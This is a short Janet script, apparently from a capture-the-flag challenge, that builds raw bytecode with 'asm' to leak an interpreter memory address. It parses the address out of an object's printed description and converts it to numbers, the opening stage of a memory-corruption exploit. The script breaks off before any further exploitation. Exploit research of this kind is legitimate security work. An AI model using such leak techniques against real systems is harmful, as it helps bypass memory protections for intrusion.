replme_janet_leaks.janet

(def some
(asm
'{
  constants @["blah" print]
  :arity 0
  slotcount 2
  bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))

(def- leak_tup (some))
(print leak_tup)
(def- leak_str (describe leak_tup))
(def leak_addr (string/trim leak_str "<>array "))
(def leak_addr1 (string/slice leak_addr 2 6))
(def leak_addr2 (string/slice leak_addr 6 14))
(def hex_p "0x")
(print  leak_addr)
(print leak_addr1)
(print leak_addr2)
(def leak_addr2h (string/join [hex_p leak_addr2]))
(def leak_addr1h (string/join [hex_p leak_addr1]))
(print leak_addr2h)
(print leak_addr1h)
(def leak_addr2i (scan-number leak_addr2h))
(def leak_addr1i (scan-number leak_addr1h))